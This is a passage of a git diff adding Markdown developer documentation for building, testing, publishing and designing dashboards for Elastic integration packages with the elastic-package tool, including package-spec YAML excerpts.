"https://github.com/elastic/elasticsearch/issues/" + es-pull: "https://github.com/elastic/elasticsearch/pull/" + es-commit: "https://github.com/elastic/elasticsearch/commit/" + kib-repo: "https://github.com/elastic/kibana/" + kib-issue: "https://github.com/elastic/kibana/issues/" + kibana-issue: "'{kib-repo}issues/'" + kib-pull: "https://github.com/elastic/kibana/pull/" + kibana-pull: "'{kib-repo}pull/'" + kib-commit: "https://github.com/elastic/kibana/commit/" + ml-repo: "https://github.com/elastic/ml-cpp/" + ml-issue: "https://github.com/elastic/ml-cpp/issues/" + ml-pull: "https://github.com/elastic/ml-cpp/pull/" + ml-commit: "https://github.com/elastic/ml-cpp/commit/" + apm-repo: "https://github.com/elastic/apm-server/" + apm-issue: "https://github.com/elastic/apm-server/issues/" + apm-pull: "https://github.com/elastic/apm-server/pull/" + kibana-blob: "https://github.com/elastic/kibana/blob/current/" + apm-get-started-ref: "https://www.elastic.co/guide/en/apm/get-started/current" + apm-server-ref: "https://www.elastic.co/guide/en/apm/server/current" + apm-server-ref-v: "https://www.elastic.co/guide/en/apm/server/current" + apm-server-ref-m: "https://www.elastic.co/guide/en/apm/server/master" + apm-server-ref-62: "https://www.elastic.co/guide/en/apm/server/6.2" + apm-server-ref-64: "https://www.elastic.co/guide/en/apm/server/6.4" + apm-server-ref-70: "https://www.elastic.co/guide/en/apm/server/7.0" + apm-overview-ref-v: "https://www.elastic.co/guide/en/apm/get-started/current" + apm-overview-ref-70: "https://www.elastic.co/guide/en/apm/get-started/7.0" + apm-overview-ref-m: "https://www.elastic.co/guide/en/apm/get-started/master" + infra-guide: "https://www.elastic.co/guide/en/infrastructure/guide/current" + a-data-source: "a data view" + icon-bug: "pass:[]" + icon-checkInCircleFilled: "pass:[]" + icon-warningFilled: "pass:[]" diff --git a/docs/extend/_publish_an_integration.md b/docs/extend/_publish_an_integration.md new file mode 100644 index 00000000000..c247b678867 --- /dev/null +++ b/docs/extend/_publish_an_integration.md @@ -0,0 +1,37 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/_publish_an_integration.html +--- + +# Publish an integration [_publish_an_integration] + +When your integration is done, it’s time to open a PR to include it in the integrations repository. Before opening your PR, run: + +```bash +elastic-package check +``` + +The `check` command ensures the package is built correctly, formatted properly, and aligned with the spec. Passing the `check` command is required before adding your integration to the repository. + +When CI is happy, merge your PR into the integrations repository. + +CI will kick off a build job for the main branch, which can release your integration to the package-storage. It means that it will open a PR to the Package Storage/snapshot with the built integration if only the package version doesn’t already exist in the storage (hasn’t been released yet). + + +## Promote [_promote] + +Now that you’ve tested your integration with {{kib}}, it’s time to promote it to staging or production. Run: + +```bash +elastic-package promote +``` + +The tool will open 2 pull requests (promote and delete) to the package-storage: target and source branches. + +Please review both pull requests on your own, check if CI is happy and merge - first target, then source. Once any PR is merged, the CI will kick off a job to bake a new Docker image of package-storage (tracking). Ideally the "delete" PR should be merged once the CI job for "promote" is done, as the Docker image of previous stage depends on the later one. + +::::{tip} +When you are ready for your changes in the integration to be released, remember to bump up the package version. It is up to you, as the package developer, to decide how many changes you want to release in a single version. For example, you could implement a change in a PR and bump up the package version in the same PR. Or you could implement several changes across multiple pull requests and then bump up the package version in the last of these pull requests or in a separate follow up PR. +:::: + + diff --git a/docs/extend/add-data-stream.md b/docs/extend/add-data-stream.md new file mode 100644 index 00000000000..d75ff9381bd --- /dev/null +++ b/docs/extend/add-data-stream.md @@ -0,0 +1,43 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/add-a-data-stream.html +--- + +# Add a data stream [add-a-data-stream] + +A data stream is a logical sub-division of an integration package, dealing with a specific observable aspect of the service or product being observed. For example, the [Apache integration](https://github.com/elastic/integrations/tree/main/packages/apache) has three data streams, each represented by a separate folder of assets in the `data_stream` directory: + +```text +apache +└───data_stream +│ └───access +│ └───error +│ └───status +``` + +::::{admonition} +**Data streams** allow you to store time series data across multiple indices while giving you a single named resource for requests. + +A data stream defines multiple {{es}} assets, like index templates, ingest pipelines, and field definitions. These assets are loaded into {{es}} when a user installs an integration using the {{fleet}} UI in {{kib}}. + +A data stream also defines a policy template. Policy templates include variables that allow users to configure the data stream using the {{fleet}} UI in {{kib}}. Then, the {{agent}} interprets the resulting policy to collect relevant information from the product or service being observed. Policy templates can also define an integration’s supported [`deployment_modes`](/extend/define-deployment-modes.md#deployment_modes). + +See [data streams](docs-content://reference/ingestion-tools/fleet/data-streams.md) for more information. + +:::: + + +Bootstrap a new data stream using the TUI wizard. In the directory of your package, run: + +```bash +elastic-package create data-stream +``` + +Follow the prompts to name, title, and select your data stream type. Then, run this command each time you add a new data stream to your integration. + +Next, manually adjust the data stream: + +* define required variables +* define used fields +* define ingest pipeline definitions (if necessary) +* update the {{agent}}'s stream configuration diff --git a/docs/extend/add-mapping.md b/docs/extend/add-mapping.md new file mode 100644 index 00000000000..435a0a0511a --- /dev/null +++ b/docs/extend/add-mapping.md @@ -0,0 +1,127 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/add-a-mapping.html +--- + +# Edit field mappings [add-a-mapping] + +Ingest pipelines create fields in an {{es}} index, but don’t define the fields themselves. Instead, each field requires a defined data type or mapping. + +::::{admonition} +**Mapping** is the process of defining how a document, and the fields it contains, are stored and indexed. Each document is a collection of fields, each having its own data type. When mapping your data, create a mapping definition containing a list of fields pertinent to the document. A mapping definition also includes metadata fields, like the _source field, which customize how the associated metadata of a document is handled. + +To learn more, see [mapping](docs-content://manage-data/data-store/mapping.md). + +:::: + + +In the integration, the `fields` directory serves as the blueprint used to create component templates for the integration. The content from all files in this directory will be unified when the integration is built, so the mappings need to be unique per data stream dataset. + +Like ingest pipelines, mappings only apply to the data stream dataset, for our example the `apache.access` dataset. + ++ NOTE: The names of these files are conventions, any file name with a `.yml` extension will work. + +Integrations have had significant enhancements in how ECS fields are defined. Below is a guide on which approach to use, based on the version of Elastic your integration will support. + ++ . ECS mappings component template (>=8.13.0) Integrations **only** supporting version 8.13.0 and up, can use the [ecs@mappings](https://github.com/elastic/elasticsearch/blob/c2a3ec42632b0339387121efdef13f52c6c66848/x-pack/plugin/core/template-resources/src/main/resources/ecs%40mappings.json) component template installed by Fleet. This makes explicitly declaring ECS fields unnecessary; the `ecs@mappings` component template in Elasticsearch will automatically detect and configure them. However, should ECS fields be explicitly defined, they will overwrite the dynamic mapping provided by the `ecs@mappings` component template. They can also be imported with an `external` declaration, as seen in the example below. + ++ . Dynamic mappings imports (<8.13.0 & >=8.13.0) Integrations supporting the Elastic stack below version 8.13.0 can still dynamically import ECS field mappings by defining `import_mappings: true` in the ECS section of the `_dev/build/build.yml` file in the root of the package directory. This introduces a [dynamic mapping](https://github.com/elastic/elastic-package/blob/f439b96a74c27c5adfc3e7810ad584204bfaf85d/internal/builder/_static/ecs_mappings.yaml) with most of the ECS definitions. Using this method means that, just like the previous approach, ECS fields don’t need to be defined in your integration, they are dynamically integrated into the package at build time. Explicitly defined ECS fields can be used and will also overwrite this mechanism. + +An example of the aformentioned `build.yml` file for this method: + ++ + +```yaml +dependencies: + ecs: + reference: git@v8.6.0 + import_mappings: true +``` + ++ . Explicit ECS mappings As mentioned in the previous two approaches, ECS mappings can still be set explicitly and will overwrite the dynamic mappings. This can be done in two ways: - Using an `external: ecs` reference to import the definition of a specific field. - Literally defining the ECS field. + +The `external: ecs` definition instructs the `elastic-package` command line tool to refer to an external ECS reference to resolve specific fields. By default it looks at the [ECS reference](https://raw.githubusercontent.com/elastic/ecs/v8.6.0/generated/ecs/ecs_nested.yml) file hosted on Github. This external reference file is determined by a Git reference found in the `_dev/build/build.yml` file, in the root of the package directory. The `build.yml` file set up for external references: + ++ + +```yaml +dependencies: + ecs: + reference: git@v8.6.0 +``` + +Literal definition a ECS field: + +```yaml +- name: cloud.acount.id + level: extended + type: keyword + ignore_above: 1024 + description: 'The cloud account or organ....' + example: 43434343 +``` + +1. Local ECS reference file (air-gapped setup) By changing the Git reference in in `_dev/build/build.yml` to the path of the downloaded [ECS reference](https://raw.githubusercontent.com/elastic/ecs/v8.6.0/generated/ecs/ecs_nested.yml) file, it is possible for the `elastic-package` command line tool to look for this file locally. Note that the path should be the full path to the reference file. Doing this, our `build.yml` file looks like: + + ``` + dependencies: + ecs: + reference: file:///home/user/integrations/packages/apache/ecs_nested.yml + ``` + + +The `access` data stream dataset of the Apache integration has four different field definitions: + ++ NOTE: The `apache` integration below has not yet been updated to use the dynamic ECS field definition and uses `external` references to define ECS fields in `ecs.yml`. + ++ + +```text +apache +└───data_stream +│ └───access +│ │ └───elasticsearch/ingest_pipeline +│ │ │ default.yml +│ │ └───fields +│ │ agent.yml +│ │ base-fields.yml +│ │ ecs.yml +│ │ fields.yml +│ └───error +│ │ └───elasticsearch/ingest_pipeline +│ │ │ default.yml +│ │ └───fields +│ │ agent.yml +│ │ base-fields.yml +│ │ ecs.yml +│ │ fields.yml +│ └───status +``` + +## agent.yml [_agent_yml] + +The `agent.yml` file defines fields used by default processors. Examples: `cloud.account.id`, `container.id`, `input.type` + + +## base-fields.yml [_base_fields_yml] + +In this file, the `data_stream` subfields `type`, `dataset` and `namespace` are defined as type `constant_keyword`, the values for these fields are added by the integration. The `event.module` and `event.dataset` fields are defined with a fixed value specific for this integration: - `event.module: apache` - `event.dataset: apache.access` Field `@timestamp` is defined here as type `date`. + + +## fields.yml [_fields_yml] + +Here we define fields that we need in our integration and are not found in the ECS. The example below defines field `apache.access.ssl.protocol` in the Apache integration. + ++ + +```yaml +- name: apache.access + type: group + fields: + - name: ssl.protocol + type: keyword + description: | + SSL protocol version. +``` + +Learn more about fields in the [general guidelines](/extend/general-guidelines.md#_document_all_fields). diff --git a/docs/extend/asset-testing.md b/docs/extend/asset-testing.md new file mode 100644 index 00000000000..999ea668bff --- /dev/null +++ b/docs/extend/asset-testing.md @@ -0,0 +1,64 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/asset-testing.html +--- + +# Asset testing [asset-testing] + +Elastic Packages define assets to be loaded into {{es}} and {{kib}}. Asset loading tests exercise install a package to ensure that its assets are loaded into {{es}} and {{kib}} as expected. + + +## Conceptual process [asset-testing-concepts] + +Conceptually, running an asset load test involves the following steps: + +1. Build the package. +2. Deploy {{es}}, {{kib}}, and the {{package-registry}} (all of which are part of the {{stack}}). This step takes time, so you should typically do it once as a prerequisite to running asset loading tests on multiple packages. +3. Install the package. +4. Use various {{kib}} and {{es}} APIs to confirm that the package assets were loaded into {{kib}} and {{es}} as expected. +5. Remove the package. + + +## Define an asset loading test [define-asset-test] + +As a package developer, there is no work required to define an asset loading test for your package. All the necessary information is contained in the package files. + + +## Run an asset loading test [running-asset-test] + +First, you must build your package. This step corresponds to step 1 in the [Conceptual process](#asset-testing-concepts) section. + +Navigate to the root folder of the package, or any sub-folder under it, and run the following command. + +```bash +elastic-package build +``` + +Next, deploy {{es}}, {{kib}}, and the {{package-registry}}. This step corresponds to step 2 in the [Conceptual process](#asset-testing-concepts) section. + +```bash +elastic-package stack up -d +``` + +To view a list of the available options for this command, run `elastic-package stack up -h` or `elastic-package help stack up`. + +Next, set the environment variables that are required for additional `elastic-package` commands. + +```bash +$(elastic-package stack shellinit) +``` + +Next, invoke the asset loading test runner. This step corresponds to steps 3 to 5 in the [Conceptual process](#asset-testing-concepts) section. + +Navigate to the root folder of the package, or any sub-folder under it, and run the following command. + +```bash +elastic-package test asset +``` + +Finally, when all the asset loading tests have completed, bring down the {{stack}}. This step corresponds to step 4 in the [Conceptual process](#asset-testing-concepts) section. + +```bash +elastic-package stack down +``` + diff --git a/docs/extend/build-create-package.md b/docs/extend/build-create-package.md new file mode 100644 index 00000000000..64fe6d9c550 --- /dev/null +++ b/docs/extend/build-create-package.md @@ -0,0 +1,23 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/build-create-package.html +--- + +# Create a new package [build-create-package] + +Rather than copying the source of an existing package, we recommend using the `elastic-package create` command to build a new package. Running this command ensures that your integration follows the latest recommendations for the package format. + +Use the `elastic-package` TUI wizard to bootstrap a new package: + +```bash +elastic-package create package +``` + +The wizard walks you through the creation of the package, including setting a package name, version, category, etc. When the wizard completes, you’ll have a basic package complete with a sample manifest, changelog, documentation, and screenshot. + +::::{note} +It may not do anything yet, but your integration can be built and loaded into your locally running package registry from this step forward. Jump to [Build](/extend/build-it.md) at any point in this documentation to take your integration for a test run. + +:::: + + diff --git a/docs/extend/build-it.md b/docs/extend/build-it.md new file mode 100644 index 00000000000..744336e26db --- /dev/null +++ b/docs/extend/build-it.md @@ -0,0 +1,25 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/build-it.html +--- + +# Build [build-it] + +To format, lint, and build your integration, in that order, run: + +```bash +elastic-package check +``` + +Problems and potential solutions will display in the console. Fix them and rerun the command. Alternatively, skip formatting and linting with the `build` command: + +```bash +elastic-package build +``` + +With the package built, run the following command from inside of the integration directory to recycle the package-registry docker container. This refreshes the {{fleet}} UI, allowing it to pick up the new integration in {{kib}}. + +```bash +elastic-package stack up --services package-registry +``` + diff --git a/docs/extend/build-new-integration.md b/docs/extend/build-new-integration.md new file mode 100644 index 00000000000..fec8cf7ab1c --- /dev/null +++ b/docs/extend/build-new-integration.md @@ -0,0 +1,38 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/build-a-new-integration.html +--- + +# Build an integration [build-a-new-integration] + +Ready to monitor, ingest, and visualize something? Let’s get started. + +* [Overview and prerequisites](/extend/build-overview.md) +* [Spin up the {{stack}}](/extend/build-spin-stack.md) +* [Create a new package](/extend/build-create-package.md) +* [Add a data stream](/extend/add-data-stream.md) +* [Define deployment modes](/extend/define-deployment-modes.md) +* [Edit ingest pipelines](/extend/edit-ingest-pipeline.md) +* [Edit field mappings](/extend/add-mapping.md) +* [Create and export dashboards](/extend/create-dashboards.md) +* [Testing and validation](/extend/testing-validation.md) +* [Finishing touches](/extend/finishing-touches.md) +* [Tips for building integrations](/extend/tips-for-building.md) + +::::{tip} +Familiar with the {{stack}} and just want a quick way to get started? See [*Quick start: Sample integration*](/extend/quick-start.md). +:::: + + + + + + + + + + + + + + diff --git a/docs/extend/build-overview.md b/docs/extend/build-overview.md new file mode 100644 index 00000000000..4ede5bc9b12 --- /dev/null +++ b/docs/extend/build-overview.md @@ -0,0 +1,14 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/build-overview.html +--- + +# Overview and prerequisites [build-overview] + +Before building an integration, you should have an understanding of the following: + +* {{stack}} concepts, like data streams, ingest pipelines, and mappings +* The [*Package specification*](/extend/package-spec.md) + +In addition, you must have [`elastic-package`](/extend/elastic-package.md) installed on your machine. Using `elastic-package` is recommended for integration maintainers as it provides crucial utilities and scripts for building out integrations. + diff --git a/docs/extend/build-spin-stack.md b/docs/extend/build-spin-stack.md new file mode 100644 index 00000000000..c5774f444dd --- /dev/null +++ b/docs/extend/build-spin-stack.md @@ -0,0 +1,31 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/build-spin-stack.html +--- + +# Spin up the Elastic Stack [build-spin-stack] + +The [`elastic-package`](/extend/elastic-package.md) tool provides a quick way to spin up the {{stack}}. The following command deploys {{es}}, {{kib}}, and the {{package-registry}}: + +```bash +elastic-package stack up -v -d +``` + +To view a list of the available options for this command, run: + +```bash +elastic-package stack up -h +``` + +When complete, go to [http://localhost:5601](http://localhost:5601) and log in with the username `elastic` and the password `changeme`. + +::::{tip} +Development time over? Tear down the {{stack}} with: + +```bash +elastic-package stack down +``` + +:::: + + diff --git a/docs/extend/changelog-spec.md b/docs/extend/changelog-spec.md new file mode 100644 index 00000000000..334d9440834 --- /dev/null +++ b/docs/extend/changelog-spec.md @@ -0,0 +1,59 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/changelog-spec.html +--- + +# changelog.yml [changelog-spec] + +The integration’s changelog. + +**required** + +Included from the package-spec repository. This will update when the spec is updated. + +```yaml +## +## Describes the specification for the package's CHANGELOG file +## +spec: + # Everything under here follows JSON schema (https://json-schema.org/), written as YAML for readability + type: array + items: + type: object + additionalProperties: false + properties: + version: + description: Package version. + $ref: "./manifest.spec.yml#/definitions/version" + changes: + description: List of changes in package version. + type: array + items: + type: object + additionalProperties: false + properties: + description: + description: Description of change. + type: string + examples: + - "Fix broken template" + type: + description: Type of change. + type: string + enum: + - "breaking-change" + - "bugfix" + - "enhancement" + link: + description: Link to issue or PR describing change in detail. + type: string + examples: + - "https://github.com/elastic/integrations/pull/550" + required: + - description + - type + - link + required: + - version + - changes +``` diff --git a/docs/extend/create-dashboards.md b/docs/extend/create-dashboards.md new file mode 100644 index 00000000000..7462eef690a --- /dev/null +++ b/docs/extend/create-dashboards.md @@ -0,0 +1,123 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/create-dashboards.html +--- + +# Create and export dashboards [create-dashboards] + +Visualizing integration data in a meaningful way is an important aspect of an integration. + +When creating a new integration, it’s important to add dashboards. + +To get started, create a new dashboard, or customize an existing one. You can use `elastic-package` to boot up the service stack. Navigate to the package you want to create dashboards for, and run: + +```bash +elastic-package service +``` + +When you’re done making changes, you can use `elastic-package` to export the dashboards and their dependencies to the package source. + + +## Dashboard planning [_dashboard_planning] + +Many integrations cover more than one component of a target system. For example, the RabbitMQ module provides several metricsets covering connection, exchange, node, queue. It makes sense to break this information down into several interconnected dashboards. The default one is an overview of a target system, and the others provide deep-dives into the various parts of the target system. The content of the Overview dashboard should be cherry-picked from all datasets and individually compiled for every such integration. + + +### Metrics [_metrics] + +Always check the type of a metric and ensure that the correct transformation is applied where applicable. For example, in most cases for cumulative counters, it makes sense to use the rate function. + + +### Visualization type [_visualization_type] + +For new visualizations, we recommend using Lens first. If what you’re trying to achieve cannot be accomplished with the current capabilities of Lens, try TSVB. + + +### Filters [_filters] + +When building a dashboard, always consider adding a filter dropdown. Why? In most cases, the integrations monitor multiple instances of a target system, so we need to provide a way to switch between them. + +To build a filter dropdown, use the Controls visualization. Here’s an example of a host name dropdown that you can add to the System dashboard: + + +### Navigation [_navigation] + +If an integration has several dashboards, ensure that you can easily navigate all of them. To build dashboard navigation, use the Markdown visualization type. + +For example, the System dashboard provides the following navigation: + +Source: + +```text +[System Overview](#/dashboard/system-Metrics-system-overview-ecs) | [Host Overview](#/dashboard/system-79ffd6e0-faa0-11e6-947f-177f697178b8-ecs) | +[Containers overview](#/dashboard/system-CPU-slash-Memory-per-container-ecs) +``` + +While this can work, it doesn’t highlight the selected dashboard. Unfortunately the Markdown control is not optimized for navigation, which makes it cumbersome to build navigation with highlighted links because each link should be highlighted separately. This means that the navigation control you’re building has to be cloned as many times as there are dashboard to ensure proper link highlighting. E.g. + +```text +**[System Overview](#/dashboard/system-Metrics-system-overview-ecs)** | [Host Overview](#/dashboard/system-79ffd6e0-faa0-11e6-947f-177f697178b8-ecs) | +[Containers overview](#/dashboard/system-CPU-slash-Memory-per-container-ecs) + +[System Overview](#/dashboard/system-Metrics-system-overview-ecs) | **[Host Overview](#/dashboard/system-79ffd6e0-faa0-11e6-947f-177f697178b8-ecs)** | +[Containers overview](#/dashboard/system-CPU-slash-Memory-per-container-ecs) + +[System Overview](#/dashboard/system-Metrics-system-overview-ecs) | [Host Overview](#/dashboard/system-79ffd6e0-faa0-11e6-947f-177f697178b8-ecs) | +**[Containers overview](#/dashboard/system-CPU-slash-Memory-per-container-ecs)** +``` + + +### Target system name [_target_system_name] + +Currently we don’t make it a rule to show on a dashboard what system it’s designed to monitor. The only way to see it is through the dashboard name. + +When using multiple dashboards on bigger screens, it makes it hard to distinguish between the dashboards. You can improve this by using the Markdown control to display the target system the dashboard is used for. + + +### Naming [_naming] + +When building dashboards, use the following naming convention. + + +#### Visualizations [_visualizations] + +```text + [ ] +``` + +Examples: + +* Memory Usage Gauge [Metrics System] +* New groups [Logs System] + +Rename all visualizations added to a dashboard only to show the part. + + +#### Dashboards [_dashboards] + +```text +[ ] +``` + +Examples: + +* [Metrics System] Host overview +* [Metrics MongoDB] Overview + + +### Screenshots [_screenshots] + +Letter casing is important for screenshot descriptions. Descriptions are shown in the {{kib}} UI, so try and keep them clean and consistent. + +These descriptions are visualized in the {{kib}} UI. It would be better experience to have them clean and consistent. + +* Bad candidate: filebeat running on ec2 machine +* Good candidates: {{filebeat}} running on AWS EC2 machine + + +## Exporting [_exporting] + +```bash +elastic-package export +``` + diff --git a/docs/extend/dashboard-guidelines.md b/docs/extend/dashboard-guidelines.md new file mode 100644 index 00000000000..6bcd351beeb --- /dev/null +++ b/docs/extend/dashboard-guidelines.md @@ -0,0 +1,159 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/dashboard-guidelines.html +--- + +# Dashboard guidelines [dashboard-guidelines] + +A [Kibana dashboard](docs-content://explore-analyze/dashboards.md) is a set of one or more panels, also referred to as visualizations. Panels display data in charts, tables, maps, and more. Dashboards support several types of panels to display your data, and several options to create panels. + +The goal of each integration dashboard is to: + +* Provide a way to explore ingested data out of the box. +* Provide an overview of the monitored resources through installing the integration. + +Each integration package should contain one or more dashboards. + + +## Dashboard Best Practices [_dashboard_best_practices] + +Following are recommended best practices for designing Kibana dashboards. + + +### Build dashboards on stable versions [_build_dashboards_on_stable_versions] + +Avoid building dashboards on SNAPSHOT versions because as long as the release is not stable behavior changes might render your dashboard unusable. The only supported approach is to use a globally released version from the [official releases list](https://www.elastic.co/downloads/past-releases#kibana). + + +### Not too many visualizations per dashboard [_not_too_many_visualizations_per_dashboard] + +Include only necessary visualizations inside a dashboard, and, when possible, split them across separate dashboards. Linking can be done: + +* By using a Markdown visualization to improve performance +* Use [drilldowns](docs-content://explore-analyze/dashboards/drilldowns.md) to connect dashboards where they make sense. + + +### Out of date fields in dashboards [_out_of_date_fields_in_dashboards] + +The dashboards must be updated to reflect any changes to field names or types. If a pull request updates a field name or type, make sure it is correctly updated in any dashboard the field is being used in. + + +### Add visualizations by value, not by reference [_add_visualizations_by_value_not_by_reference] + +Kibana visualizations can be added into a dashboard by value or by reference. Historically, adding by value did not exist. Switching to value has the advantage that the dashboards are fully self contained and only need a single request to be installed. + +To achieve this: + +* Migrate existing dashboards from `by reference` to `by value`. +* Create new dashboards adding visualizations by value. + +A migration script is available to help with the migration: [flash1293/legacy_vis_analyzer](https://github.com/elastic/visualizations_integrations_tools) + + +### Choose the context of your Dashboard [_choose_the_context_of_your_dashboard] + +You should always try to understand as much as possible what kind of context your users need to interact with the dashboard. Keep the minimal context needed by answering the following questions: + +* Who is going to use this dashboard? +* How much time will the users have? +* What is the main goal of this dashboard and what are any secondary goals? +* What kind of charts can help users identify insights in the most immediate and clear way? + + +### Organisation and hierarchy matters in your dashboards [_organisation_and_hierarchy_matters_in_your_dashboards] + +Keep the following guidelines in mind when positioning your elements on dashboards: + +* Keep related visualizations close to each other. + + :::{image} ../images/grouping-in-visualizations.png + :alt: Closely grouped visualizations + ::: + +* Use Markdown to create blocks of related content. + + :::{image} ../images/markdown-grouping.png + :alt: Markdown grouping in visualizations + ::: + +* Reading Direction + + Most people are used to reading from top to bottom. Place at the top of your page the most important charts and the ones that could give a brief and immediate summary of the context. A good general guidelines is to increase the level of detail as you approach the bottom of the dashboard. This way, users interested in getting all the information can obtain it without requiring too much effort, and other users can gather what they need from only a quick glance at the topmost dashboards. + +* Central focal point + + Placing a big chart at the center of a dashboard, especially one with prominent visual shapes such as rectangles, helps to reinforce a natural visual focal point that lies in the center of the interface. + + :::{image} ../images/rows-in-visualizations.png + :alt: Central focal point in visualization + ::: + + + +### Use Margins [_use_margins] + +Kibana dashboards offer the possibility to apply margins between visualizations, and this is highly recommended. Margins create separation between charts, which is an important visual feature, and they help users to identify when two elements belong together. At the same time, the added space makes the interface appear more clean and elegant. + + +## Visualization Best Practices [_visualization_best_practices] + +Following are recommended best practices for designing Kibana vizualizations. + + +### Lens vs TSVB visualizations [_lens_vs_tsvb_visualizations] + +**Always use Lens**, when possible. It’s the best choice to be consistent and up to date. + +When possible, migrate dashboards from TSVB to Lens. If it’s not possible, please engage with the Kibana team to identify any gaps that prevent full TSVB to Lens dashboard migration. + + +### Visualizations should contain a filter [_visualizations_should_contain_a_filter] + +Kibana visualizations can define a filter to avoid performance issues when querying all metrics (`metrics-*`) or logs (`logs-*`) indices. + +It is recommended to set a filter in each visualization at least by the required `data_stream.dataset`. For more details, refer to the the [Elastic data stream naming scheme](https://www.elastic.co/blog/an-introduction-to-the-elastic-data-stream-naming-scheme). + +As much as possible, avoid using general filters, that is filters with `-*`. Combine multiple fields and values inside a filter with AND/OR operators. Although your filter might become more complex, it will avoid extra queries. + +Example: + +:::{image} ../images/filter-in-visualization.png +:alt: Filter in a visualization +::: + + +### Do not use library visualizations [_do_not_use_library_visualizations] + +Do not use the visualizations that appear in **Analytics > Visualize library**. Instead, define visualizations as part of the dashboard. This is the default when creating new panels by clicking **Add new visualization** on the dashboard. If some panels are already saved to the library, you can unlink them and delete them from the library + +There are some cases where library visualizations are preferable. It makes sense, for example, if a given visualization always has to be exactly the same on multiple dashboards or if its users frequently look at the visualization without looking at the whole dashboard. + + +## Use dashboard-native controls [_use_dashboard_native_controls] + +The **Input controls** visualization type is deprecated in favor of **Controls** embedded into the dashboard itself. The **Controls** dropdown in the Dashboard menu bar should be used. Refer to [Filter dashboard data with controls](docs-content://explore-analyze/dashboards/add-controls.md) for more information. + + +### Keep Consistent Color [_keep_consistent_color] + +Use color to distinguish categories, represent quantity/density, and highlight data. When using color in this way, be aware that too many colors in a single chart can create noise and hinder quick comprehension. + +[Elastic UI](https://elastic.github.io/eui/#/elastic-charts/creating-charts) provides guidance for correct color choice. Colors provided there for visualization have been tested for accessibility contrast. By using them, you are sure properly serve the largest possible audience. + +If your dashboard is made to identify specific behaviors, it might be interesting to consider a color setting that could help to point those out. Use a neutral color for generic elements and an accented color for the things that you want to highlight. + +:::{image} ../images/colors-in-visualizations.png +:alt: Colors in visualizations +::: + + +## Titles in Visualisations matter [_titles_in_visualisations_matter] + +Titles can have a strong visual impact on dashboards, especially when there are a lot of small charts. Two principles can generally be followed: + +* Remove unnecessary or repetitive titles when the information is already explained or written within the chart. +* When a title is needed, make it self explanatory and exhaustive. This way, you will be able to remove axis titles and other specifications leaving more space for the chart itself. + +:::{image} ../images/titles-in-visualizations.png +:alt: Titles in visualizations +::: diff --git a/docs/extend/data-stream-spec.md b/docs/extend/data-stream-spec.md new file mode 100644 index 00000000000..11ff3ec2e27 --- /dev/null +++ b/docs/extend/data-stream-spec.md @@ -0,0 +1,128 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/data-stream-spec.html +--- + +# data_stream [data-stream-spec] + +Data stream assets, including ingest pipelines, field definitions, metadata, and sample events. + +**required** + +Included from the package-spec repository. This will update when the spec is updated. + +```yaml +spec: + additionalContents: false + totalContentsLimit: 500 + contents: + - description: Folder containing a single data stream definition + type: folder + pattern: '^([a-z0-9]{2}|[a-z0-9][a-z0-9_]+[a-z0-9])$' + forbiddenPatterns: + # Avoid collision with ingest pipeline created by fleet, see https://github.com/elastic/package-spec/issues/699 + - '^integration$' + required: true + additionalContents: false + contents: + - description: A data stream's manifest file + type: file + contentMediaType: "application/x-yaml" + sizeLimit: 5MB + name: "manifest.yml" + required: true + $ref: "./manifest.spec.yml" + - description: Folder containing field definitions + type: folder + name: fields + required: true + $ref: "./fields/spec.yml" + - description: Folder containing agent-related definitions + type: folder + name: agent + required: false + additionalContents: false + $ref: "./agent/spec.yml" + - description: Folder containing Elasticsearch assets + type: folder + name: elasticsearch + additionalContents: false + contents: + - description: Folder containing Elasticsearch ILM Policy Definition + type: folder + name: ilm + additionalContents: false + contents: + - description: Supporting ILM policy definitions in YAML + type: file + pattern: '^.+\.yml$' + # TODO Determine if special handling of `---` is required (issue: https://github.com/elastic/package-spec/pull/54) + contentMediaType: "application/x-yaml; require-document-dashes=true" + required: false + - description: Supporting ILM policy definitions in JSON + type: file + pattern: '^.+\.json$' + contentMediaType: "application/json" + required: false + - description: Folder containing Elasticsearch Ingest Node pipeline definitions + type: folder + name: ingest_pipeline + additionalContents: false + contents: + - description: Supporting ingest pipeline definitions in YAML + type: file + pattern: '^.+\.yml$' + # TODO Determine if special handling of `---` is required (issue: https://github.com/elastic/package-spec/pull/54) + contentMediaType: "application/x-yaml; require-document-dashes=true" + required: false + $ref: "../../integration/elasticsearch/pipeline.spec.yml" + - description: Supporting ingest pipeline definitions in JSON + type: file + pattern: '^.+\.json$' + contentMediaType: "application/json" + required: false + $ref: "../../integration/elasticsearch/pipeline.spec.yml" + - description: Sample event file + type: file + name: "sample_event.json" + contentMediaType: "application/json" + required: false + - description: Folder containing testing related files and sub-folders + type: folder + name: "test" + required: false + - description: Folder containing development resources + type: folder + name: _dev + required: false + visibility: private + $ref: "./_dev/spec.yml" + - description: File containing routing rules definitions (technical preview) + type: file + contentMediaType: "application/x-yaml" + name: "routing_rules.yml" + required: false + $ref: "./routing_rules.spec.yml" + - description: File containing lifecycle configuration (technical preview) + type: file + contentMediaType: "application/x-yaml" + name: "lifecycle.yml" + required: false + $ref: "lifecycle.spec.yml" + +versions: + - before: 3.0.0 + patch: + - op: remove + path: "/contents/0/contents/3/contents/1/contents/0/$ref" # remove ingest pipeline validation as yaml + - op: remove + path: "/contents/0/contents/3/contents/1/contents/1/$ref" # remove ingest pipeline validation as json + - before: 2.10.0 + patch: + - op: remove + path: "/contents/0/contents/8" # remove lifecycle definition + - before: 2.9.0 + patch: + - op: remove + path: "/contents/0/contents/7" # remove routing_rules file definition +``` diff --git a/docs/extend/define-deployment-modes.md b/docs/extend/define-deployment-modes.md new file mode 